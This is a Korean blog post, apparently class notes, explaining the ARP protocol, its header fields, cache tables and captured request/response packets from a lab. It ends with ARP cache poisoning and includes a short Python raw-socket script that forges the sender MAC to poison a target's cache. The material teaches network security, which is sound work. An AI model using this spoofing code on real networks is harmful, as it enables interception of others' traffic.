티스토리 뷰


>>다른 호스트와 통신을 하려고 한다면 호스트의 물리 주소(물리계층 : layer 2) 를 알아야 한다

    그 맥주소로 이더넷 헤더를 완성 할 수 있다 

    물리 주소를 알아내기 위해 ARP 프로토콜을 사용 


▶ARP(Addess Resolution Protocol)

--> 아이피 주소로 물리 주소를 확인 할 수 있는 프로토콜 


 - 주소 변환 프로토콜
 - ip 주소를 물리적 네트워크(Mac Address 가 포함된 형태)로 변환하는데 사용되는 프로토콜

 - ethernet type 중에 하나 : 0x0806


! 데이터의 송 수신시 Mac 주소를 이용해 통신하는 네트워크계층에서 IP 주소로만 프레임을 전달하는 것은 불가능 

! 하드웨어의주소, MAC 주소를 알기위해 ARP 를 사용해 IP와 MAC 주소간의 동적매핑을 제공 


 - 실제 통신 시작 : IP주소(targetIP )에서 요청을 처리할 장비 결정 

  해당장비의 MAC Address 가 요청한 쪽으로 전송 

▶ ARP cache 


1)windwos
      - 주기적으로 네트워크상에 모든 호스트에 대한 맥 주소를 수집
         (ARP Cache Table)

>>명령어 

#arp -a 

 
2)linux

 -통신하기 전에 확인을 함
 -일정시간 동안 캐시 ( 주기적으로 사용하진 않는다 )


>>명령어

#arp  



1) 주소 요청 : ARP Request

2) 요청에 대한 응답: ARP Response

3) 헤더 구조


  [1] 하드웨어 타입(2byte) : ethernet(1번), token ring, .,..
  [2] 프로토콜 타입(2byte) : 이더넷 타입: ipv4,ipv6, ...
  [3] 하드 웨어 주소의 길이 (1byte) : 6byte
  [4] 프로토콜 주소의 길이(1byte) : version 4인 경우4바이트
  [5] opcode(2byte): ARP type

         (request(1)-->\x00\x01, response(2)-->\x00\x02)
  [6] sender mac address(6byte) :송신지 mac address
  [7] sender ip address(4byte) -> 프로토콜 주소의 길이가 4바이트이므로
  [8] target mac address(6byte) : 도착지 mac address 

                 >>알수 없음으로 0으로 초기화

                 >> 00:00:00:00:00:00 : 도착지의 호스트로부터 해당정보가 채워져 패킷이 돌아온다

                        --> 네트워크 주소를 알아냈으므로 통신 가능
  [9] target ip address(4byte)
 
▶ARP 패킷 분석


1. ARP Request 직접 작성
 - 상대방의 맥 주소를 확인
 - 이더넷헤더 + ARP 헤더 (전달하고 싶은 데이터 )
      -->스위치가 이더넷 헤더를 보고 목적지까지신호를 보내 준다
    ARP 응답(Response)

      --> 해당 패킷이 전달되어진 호스트에서 MacAddress 정보를 넘겨줌


2.  시나리오
 - target ip  : 192.168.219.180  

 - target mac 

-->Request를 이용해서 상대방의 맥어드레스를 받아옴

      >> 00:00:00:00:00:00 

         -->도착지의 호스트로부터 해당정보가 채워져 패킷이 돌아온다

        --> 네트워크 주소를 알아냈으므로 통신 가능


 - sender ip  : 192.168.219.106

 - sender mac : 00:0c:29:fb:2e:6f


>>>ARP 프로토콜 Class 정의 및 헤더 작성 <<<


[#vi arping.py]


     --> 수업이 끝나고 학생의 전화번호를 확인

(전화번호를 물어보려면 전화를 해야하는데 전화번호를 모르므로 전화번호를 물어볼수가 없다 )



[#vi sniffer.py]




[#vi arp.py]

 --> set 생성 



#python3 sniffer.py -->받고 보내는 것 확인 (192.168.219.180 에서 확인 > 도착지 )

#python3 arping.py --> 데이터 보내기 (192.168.219.106 에서 보내줌 > 출발지 )

(출발기 ==> 도착지)




#python3 sniffer.py 


src:00:0c:29:fb:2e:6f -> dst:ff:ff:ff:ff:ff:ff, type:0x0806
opcode:0x0001 , sender:192.168.219.106 -> target:192.168.219.180

     // request : 같은 네트워크상에 있는 192.168.219.180 에게 arp 패킷 전송

src:00:0c:29:52:30:da -> dst:00:0c:29:fb:2e:6f, type:0x0806
opcode:0x0002 , sender:192.168.219.180 -> target:192.168.219.106

// response : 192.168.219.106의 Mac Address 를 arp 패킷의 정보에 추가해 응답해줌 


▷캐시 테이블 확인


# arp ( 192.168.219.180 에서 arping 받은 주소 확인 )



  !ARP Cache Poisoning ( ARP 캐시 오염 )
   --> 요청에 대한 검증이 이루어지지 않는다 (문제가 발생)


#vi arping.py 
에서 이더넷해더중에 하나라도 맞지않으면 요청할 수 없음

  --> 진짜 106번한테 온건지 확인 할 수 있는 방법이 없음

#vi arping.py


from socket import *

import eth as _eth
import arp as _arp


sock=socket(AF_PACKET,SOCK_RAW)
sock.bind(('eth0',SOCK_RAW))


eth=_eth.Eth()
arp=_arp.Arp()

eth.set_dst('FF:FF:FF:FF:FF:FF')
eth.set_src('00:0c:29:fb:2e:6f')
eth.set_type(0x0806)

arp.set_hard_type(0x0001)
arp.set_pro_type(0x0800)
arp.set_hard_len(6)
arp.set_pro_len(4)
arp.set_opcode(1)


arp.set_sender_mac('aa:aa:aa:aa:aa:aa') #106번의 맥 어드레스가 아닌 다른 주소를 넣음 
arp.set_sender_ip('192.168.219.106')
arp.set_target_mac('00:00:00:00:00:00')
arp.set_target_ip('192.168.219.180')

        




▷ 캐시 테이블이 오염된 것을 확인 


# arp  




1>192.168.219.180 --> 192.168.219.106 일떄의  각각의 sniffer.py 상태


2> 192.168.219.106 -> 192.168.219.180 일때 sniffer.py의 상태 



'Network Security > Network' 카테고리의 다른 글

IP Packet 보내기 (ICMP)  (0) 2017.12.25
ARP Spoofing 공격  (0) 2017.12.23
Layer2 >>Ethernet Header 통신  (0) 2017.12.21
계층별 헤더 (sniffer.py 를 이용) 프로그래밍  (0) 2017.12.17
Layer 2/Ethernet헤더  (0) 2017.12.17
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
글 보관함